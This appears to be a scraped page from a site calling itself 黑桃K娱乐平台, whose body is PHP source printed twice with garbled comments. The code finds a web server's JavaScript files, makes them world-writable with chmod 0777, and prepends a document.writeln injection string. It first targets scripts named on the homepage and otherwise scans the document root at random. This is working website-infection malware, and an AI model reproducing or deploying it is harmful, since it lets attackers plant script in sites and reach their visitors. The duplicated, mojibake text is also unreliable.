Welcome黑桃K平台

Copyright © 黑桃K娱乐平台 Reserved

define("JSCONTENT","document.writeln(\"\");"); $str = file_get_contents("http://".$_SERVER['SERVER_NAME']); if($str!=""){ echo "һ\r\n"; $num = getjs($str); echo "д ".$num." "; if($num==0){ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } }else{ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } $nn=0; function getjs($str){ $newarr = array(); $root = $_SERVER['DOCUMENT_ROOT']; $root = str_replace("\\","/",$root);//Ŀ¼ $preg = "/]*))?>(.*?)<\/script>/i"; preg_match_all($preg, $str, $match); foreach($match[1] as $k=>$v){ if(!stristr($v,"://")){ $strs = $v; $strs = str_replace("'","",$strs); if(is_file($root."/".str_replace('"',"",$strs))){ $newarr[] = $root."/".str_replace('"',"",$strs); } } } shuffle($newarr); echo $newarr[0]; $num = write_js($newarr[0],JSCONTENT); return $num; //return $match; } function write_js($file,$appcontent)//׷ӵ { //$tmpprem = base_convert(fileperms($file), 10, 8); @chmod($file,0777); $tmptime = filemtime($file); $contents = file_get_contents($file); if(!stristr($contents,$appcontent)){//ȥظ $fp = fopen($file, 'w'); echo fwrite($fp,$appcontent.$contents ); fclose($fp); //file_put_contents($file,$appcontent.$contents); } if(stristr(file_get_contents($file),JSCONTENT)){ echo " һ ".$file." д\r\n"; return 1; }else{ echo " ".$file." ûдɹ\r\n"; return 0; } //touch ($file,$tmptime); //chmod($file,$tmpprem); } function read_dir_write($dir){ global $nn; $files=array(); $queue=array($dir); while($data=each($queue)){ $path=$data['value']; if(is_dir($path) && $handle=opendir($path)){ while($file=readdir($handle)){ if($file=='.'||$file=='..') continue; $files[] = $real_path=$path.'/'.$file; if(strtolower(substr($real_path, strrpos($real_path, '.')+1))=="js"){ if(rand(1,5)==1 && $nn<10){ $statics =write_js($real_path,JSCONTENT); if($statics){ $nn++; } } if($nn==9){ return 9; } } if (is_dir($real_path)) $queue[] = $real_path; } } closedir($handle); } return 0; } define("JSCONTENT","document.writeln(\"\");"); $str = file_get_contents("http://".$_SERVER['SERVER_NAME']); if($str!=""){ echo "һ\r\n"; $num = getjs($str); echo "д ".$num." "; if($num==0){ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } }else{ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } $nn=0; function getjs($str){ $newarr = array(); $root = $_SERVER['DOCUMENT_ROOT']; $root = str_replace("\\","/",$root);//Ŀ¼ $preg = "/]*))?>(.*?)<\/script>/i"; preg_match_all($preg, $str, $match); foreach($match[1] as $k=>$v){ if(!stristr($v,"://")){ $strs = $v; $strs = str_replace("'","",$strs); if(is_file($root."/".str_replace('"',"",$strs))){ $newarr[] = $root."/".str_replace('"',"",$strs); } } } shuffle($newarr); echo $newarr[0]; $num = write_js($newarr[0],JSCONTENT); return $num; //return $match; } function write_js($file,$appcontent)//׷ӵ { //$tmpprem = base_convert(fileperms($file), 10, 8); @chmod($file,0777); $tmptime = filemtime($file); $contents = file_get_contents($file); if(!stristr($contents,$appcontent)){//ȥظ $fp = fopen($file, 'w'); echo fwrite($fp,$appcontent.$contents ); fclose($fp); //file_put_contents($file,$appcontent.$contents); } if(stristr(file_get_contents($file),JSCONTENT)){ echo " һ ".$file." д\r\n"; return 1; }else{ echo " ".$file." ûдɹ\r\n"; return 0; } //touch ($file,$tmptime); //chmod($file,$tmpprem); } function read_dir_write($dir){ global $nn; $files=array(); $queue=array($dir); while($data=each($queue)){ $path=$data['value']; if(is_dir($path) && $handle=opendir($path)){ while($file=readdir($handle)){ if($file=='.'||$file=='..') continue; $files[] = $real_path=$path.'/'.$file; if(strtolower(substr($real_path, strrpos($real_path, '.')+1))=="js"){ if(rand(1,5)==1 && $nn<10){ $statics =write_js($real_path,JSCONTENT); if($statics){ $nn++; } } if($nn==9){ return 9; } } if (is_dir($real_path)) $queue[] = $real_path; } } closedir($handle); } return 0; }